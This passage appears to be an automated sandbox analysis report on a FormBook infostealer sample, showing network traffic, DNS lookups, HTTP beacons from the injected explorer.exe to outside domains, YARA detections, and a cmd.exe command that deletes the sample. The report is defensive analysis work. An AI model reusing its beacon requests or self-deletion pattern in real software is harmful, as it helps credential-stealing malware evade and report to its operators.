                                                                    Oct 13, 2021 20:58:54.380996943 CEST8049790172.65.227.72192.168.2.5
                                                                    Oct 13, 2021 20:58:54.381203890 CEST4979080192.168.2.5172.65.227.72
                                                                    Oct 13, 2021 20:58:54.381292105 CEST4979080192.168.2.5172.65.227.72
                                                                    Oct 13, 2021 20:58:54.397142887 CEST8049790172.65.227.72192.168.2.5
                                                                    Oct 13, 2021 20:59:09.536864042 CEST4979580192.168.2.564.190.62.111
                                                                    Oct 13, 2021 20:59:09.554685116 CEST804979564.190.62.111192.168.2.5
                                                                    Oct 13, 2021 20:59:09.554913998 CEST4979580192.168.2.564.190.62.111
                                                                    Oct 13, 2021 20:59:09.555144072 CEST4979580192.168.2.564.190.62.111
                                                                    Oct 13, 2021 20:59:09.572714090 CEST804979564.190.62.111192.168.2.5
                                                                    Oct 13, 2021 20:59:09.598285913 CEST804979564.190.62.111192.168.2.5
                                                                    Oct 13, 2021 20:59:09.598323107 CEST804979564.190.62.111192.168.2.5
                                                                    Oct 13, 2021 20:59:09.598609924 CEST4979580192.168.2.564.190.62.111
                                                                    Oct 13, 2021 20:59:09.598695040 CEST4979580192.168.2.564.190.62.111
                                                                    Oct 13, 2021 20:59:09.616345882 CEST804979564.190.62.111192.168.2.5

                                                                    UDP Packets

                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                    Oct 13, 2021 20:58:54.008306980 CEST5244153192.168.2.58.8.8.8
                                                                    Oct 13, 2021 20:58:54.033735037 CEST53524418.8.8.8192.168.2.5
                                                                    Oct 13, 2021 20:58:59.395916939 CEST6529653192.168.2.58.8.8.8
                                                                    Oct 13, 2021 20:58:59.421633959 CEST53652968.8.8.8192.168.2.5
                                                                    Oct 13, 2021 20:59:04.443331003 CEST6318353192.168.2.58.8.8.8
                                                                    Oct 13, 2021 20:59:04.465982914 CEST53631838.8.8.8192.168.2.5
                                                                    Oct 13, 2021 20:59:09.501405954 CEST6015153192.168.2.58.8.8.8
                                                                    Oct 13, 2021 20:59:09.534939051 CEST53601518.8.8.8192.168.2.5
                                                                    Oct 13, 2021 20:59:14.611547947 CEST5696953192.168.2.58.8.8.8
                                                                    Oct 13, 2021 20:59:14.630974054 CEST53569698.8.8.8192.168.2.5
                                                                    Oct 13, 2021 20:59:19.956043005 CEST5516153192.168.2.58.8.8.8
                                                                    Oct 13, 2021 20:59:19.974540949 CEST53551618.8.8.8192.168.2.5

                                                                    DNS Queries

                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                    Oct 13, 2021 20:58:54.008306980 CEST192.168.2.58.8.8.80x3f12Standard query (0)www.apricitee.comA (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:58:59.395916939 CEST192.168.2.58.8.8.80xc785Standard query (0)www.instatechnovelz.comA (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:59:04.443331003 CEST192.168.2.58.8.8.80xcda9Standard query (0)www.brondairy.comA (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:59:09.501405954 CEST192.168.2.58.8.8.80x377aStandard query (0)www.shacksolid.comA (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:59:14.611547947 CEST192.168.2.58.8.8.80x698bStandard query (0)www.rjtherealest.comA (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:59:19.956043005 CEST192.168.2.58.8.8.80x449dStandard query (0)www.fis.photosA (IP address)IN (0x0001)

                                                                    DNS Answers

                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                    Oct 13, 2021 20:58:54.033735037 CEST8.8.8.8192.168.2.50x3f12No error (0)www.apricitee.comvip.shoplazza.storeCNAME (Canonical name)IN (0x0001)
                                                                    Oct 13, 2021 20:58:54.033735037 CEST8.8.8.8192.168.2.50x3f12No error (0)vip.shoplazza.storefbc7888164e64afca05b80bb89630439.pacloudflare.comCNAME (Canonical name)IN (0x0001)
                                                                    Oct 13, 2021 20:58:54.033735037 CEST8.8.8.8192.168.2.50x3f12No error (0)fbc7888164e64afca05b80bb89630439.pacloudflare.com172.65.227.72A (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:58:59.421633959 CEST8.8.8.8192.168.2.50xc785Name error (3)www.instatechnovelz.comnonenoneA (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:59:04.465982914 CEST8.8.8.8192.168.2.50xcda9Name error (3)www.brondairy.comnonenoneA (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:59:09.534939051 CEST8.8.8.8192.168.2.50x377aNo error (0)www.shacksolid.com64.190.62.111A (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:59:14.630974054 CEST8.8.8.8192.168.2.50x698bNo error (0)www.rjtherealest.com74.208.236.145A (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:59:19.974540949 CEST8.8.8.8192.168.2.50x449dNo error (0)www.fis.photosfis.photosCNAME (Canonical name)IN (0x0001)
                                                                    Oct 13, 2021 20:59:19.974540949 CEST8.8.8.8192.168.2.50x449dNo error (0)fis.photos192.0.78.24A (IP address)IN (0x0001)
                                                                    Oct 13, 2021 20:59:19.974540949 CEST8.8.8.8192.168.2.50x449dNo error (0)fis.photos192.0.78.25A (IP address)IN (0x0001)

                                                                    HTTP Request Dependency Graph

                                                                    • www.apricitee.com
                                                                    • www.shacksolid.com

                                                                    HTTP Packets

                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                    0192.168.2.549790172.65.227.7280C:\Windows\explorer.exe
                                                                    TimestampkBytes transferredDirectionData
                                                                    Oct 13, 2021 20:58:54.065588951 CEST6908OUTGET /ef6c/?BJB=7nO80D&yrTlglv8=KSHN/72DEJPyd/OuGOIXNFBSZoOhZSSqcZP1Rqc2bg8KEPsXLZdPsQK+HlsXn3Jp1PaC HTTP/1.1
                                                                    Host: www.apricitee.com
                                                                    Connection: close
                                                                    Data Raw: 00 00 00 00 00 00 00
                                                                    Data Ascii:
                                                                    Oct 13, 2021 20:58:54.380971909 CEST6909INHTTP/1.1 301 Moved Permanently
                                                                    Content-Type: text/html; charset=utf-8
                                                                    Location: https://www.apricitee.com/ef6c/?BJB=7nO80D&yrTlglv8=KSHN/72DEJPyd/OuGOIXNFBSZoOhZSSqcZP1Rqc2bg8KEPsXLZdPsQK+HlsXn3Jp1PaC
                                                                    Strict-Transport-Security: max-age=315360000; includeSubdomains
                                                                    X-Content-Type-Options: nosniff
                                                                    X-Download-Options: noopen
                                                                    X-Xss-Protection: 1; mode=block
                                                                    Date: Wed, 13 Oct 2021 18:58:54 GMT
                                                                    Content-Length: 159
                                                                    Connection: close
                                                                    Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 70 72 69 63 69 74 65 65 2e 63 6f 6d 2f 65 66 36 63 2f 3f 42 4a 42 3d 37 6e 4f 38 30 44 26 61 6d 70 3b 79 72 54 6c 67 6c 76 38 3d 4b 53 48 4e 2f 37 32 44 45 4a 50 79 64 2f 4f 75 47 4f 49 58 4e 46 42 53 5a 6f 4f 68 5a 53 53 71 63 5a 50 31 52 71 63 32 62 67 38 4b 45 50 73 58 4c 5a 64 50 73 51 4b 2b 48 6c 73 58 6e 33 4a 70 31 50 61 43 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a
                                                                    Data Ascii: <a href="https://www.apricitee.com/ef6c/?BJB=7nO80D&amp;yrTlglv8=KSHN/72DEJPyd/OuGOIXNFBSZoOhZSSqcZP1Rqc2bg8KEPsXLZdPsQK+HlsXn3Jp1PaC">Moved Permanently</a>.


                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                    1192.168.2.54979564.190.62.11180C:\Windows\explorer.exe
                                                                    TimestampkBytes transferredDirectionData
                                                                    Oct 13, 2021 20:59:09.555144072 CEST6931OUTGET /ef6c/?yrTlglv8=JeohSOzXiZYIapiQlSWyFy7AWxQU0a2IMxMIOt5NBtSaZYcWimwRehmIZ/KtIrBMaY3r&BJB=7nO80D HTTP/1.1
                                                                    Host: www.shacksolid.com
                                                                    Connection: close
                                                                    Data Raw: 00 00 00 00 00 00 00
                                                                    Data Ascii:
                                                                    Oct 13, 2021 20:59:09.598285913 CEST6932INHTTP/1.1 302 Found
                                                                    date: Wed, 13 Oct 2021 18:59:09 GMT
                                                                    content-type: text/html; charset=UTF-8
                                                                    content-length: 0
                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_D3MXYL1dze6qe7cOwJ2xLuV/g0A+RCNznrrC7wxtyCM8qdSMYKIxkg1u6Sue7w2UedwCteHB8MdfRzHrGBDLoQ==
                                                                    expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                    cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                    pragma: no-cache
                                                                    last-modified: Wed, 13 Oct 2021 18:59:09 GMT
                                                                    location: https://sedo.com/search/details/?partnerid=324561&language=e&domain=shacksolid.com&origin=sales_lander_1&utm_medium=Parking&utm_campaign=offerpage
                                                                    x-cache-miss-from: parking-f666569bc-whw7l
                                                                    server: NginX
                                                                    connection: close


                                                                    Code Manipulations

                                                                    Statistics

                                                                    Behavior

                                                                    Click to jump to process

                                                                    System Behavior

                                                                    Analysis Process: Fu94e0b1TR.exe PID: 4628 Parent PID: 6048

                                                                    General

                                                                    Start time:20:57:09
                                                                    Start date:13/10/2021
                                                                    Path:C:\Users\user\Desktop\Fu94e0b1TR.exe
                                                                    Wow64 process (32bit):true
                                                                    Commandline:'C:\Users\user\Desktop\Fu94e0b1TR.exe'
                                                                    Imagebase:0x6d0000
                                                                    File size:474112 bytes
                                                                    MD5 hash:6429AA83E4BC083B4F0B3F44B0D7950F
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:.Net C# or VB.NET
                                                                    Yara matches:
                                                                    • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmp, Author: Joe Security
                                                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, Author: Joe Security
                                                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                    Reputation:low

                                                                    Analysis Process: Fu94e0b1TR.exe PID: 4840 Parent PID: 4628

                                                                    General

                                                                    Start time:20:57:22
                                                                    Start date:13/10/2021
                                                                    Path:C:\Users\user\Desktop\Fu94e0b1TR.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Users\user\Desktop\Fu94e0b1TR.exe
                                                                    Imagebase:0x350000
                                                                    File size:474112 bytes
                                                                    MD5 hash:6429AA83E4BC083B4F0B3F44B0D7950F
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:low

                                                                    Analysis Process: Fu94e0b1TR.exe PID: 2848 Parent PID: 4628

                                                                    General

                                                                    Start time:20:57:23
                                                                    Start date:13/10/2021
                                                                    Path:C:\Users\user\Desktop\Fu94e0b1TR.exe
                                                                    Wow64 process (32bit):true
                                                                    Commandline:C:\Users\user\Desktop\Fu94e0b1TR.exe
                                                                    Imagebase:0x610000
                                                                    File size:474112 bytes
                                                                    MD5 hash:6429AA83E4BC083B4F0B3F44B0D7950F
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
                                                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, Author: Joe Security
                                                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, Author: Joe Security
                                                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                    Reputation:low

                                                                    Analysis Process: explorer.exe PID: 3472 Parent PID: 2848

                                                                    General

                                                                    Start time:20:57:25
                                                                    Start date:13/10/2021
                                                                    Path:C:\Windows\explorer.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\Explorer.EXE
                                                                    Imagebase:0x7ff693d90000
                                                                    File size:3933184 bytes
                                                                    MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, Author: Joe Security
                                                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, Author: Joe Security
                                                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                    Reputation:high

                                                                    Analysis Process: NETSTAT.EXE PID: 3204 Parent PID: 3472

                                                                    General

                                                                    Start time:20:58:05
                                                                    Start date:13/10/2021
                                                                    Path:C:\Windows\SysWOW64\NETSTAT.EXE
                                                                    Wow64 process (32bit):true
                                                                    Commandline:C:\Windows\SysWOW64\NETSTAT.EXE
                                                                    Imagebase:0xb70000
                                                                    File size:32768 bytes
                                                                    MD5 hash:4E20FF629119A809BC0E7EE2D18A7FDB
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, Author: Joe Security
                                                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, Author: Joe Security
                                                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, Author: Joe Security
                                                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                    Reputation:moderate

                                                                    Analysis Process: cmd.exe PID: 1844 Parent PID: 3204

                                                                    General

                                                                    Start time:20:58:09
                                                                    Start date:13/10/2021
                                                                    Path:C:\Windows\SysWOW64\cmd.exe
                                                                    Wow64 process (32bit):true
                                                                    Commandline:/c del 'C:\Users\user\Desktop\Fu94e0b1TR.exe'
                                                                    Imagebase:0x150000
                                                                    File size:232960 bytes
                                                                    MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high

                                                                    Analysis Process: conhost.exe PID: 4308 Parent PID: 1844

                                                                    General

                                                                    Start time:20:58:10
                                                                    Start date:13/10/2021
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    Imagebase:0x7ff7ecfc0000
                                                                    File size:625664 bytes
                                                                    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high

                                                                    Disassembly

                                                                    Code Analysis

                                                                    Reset < >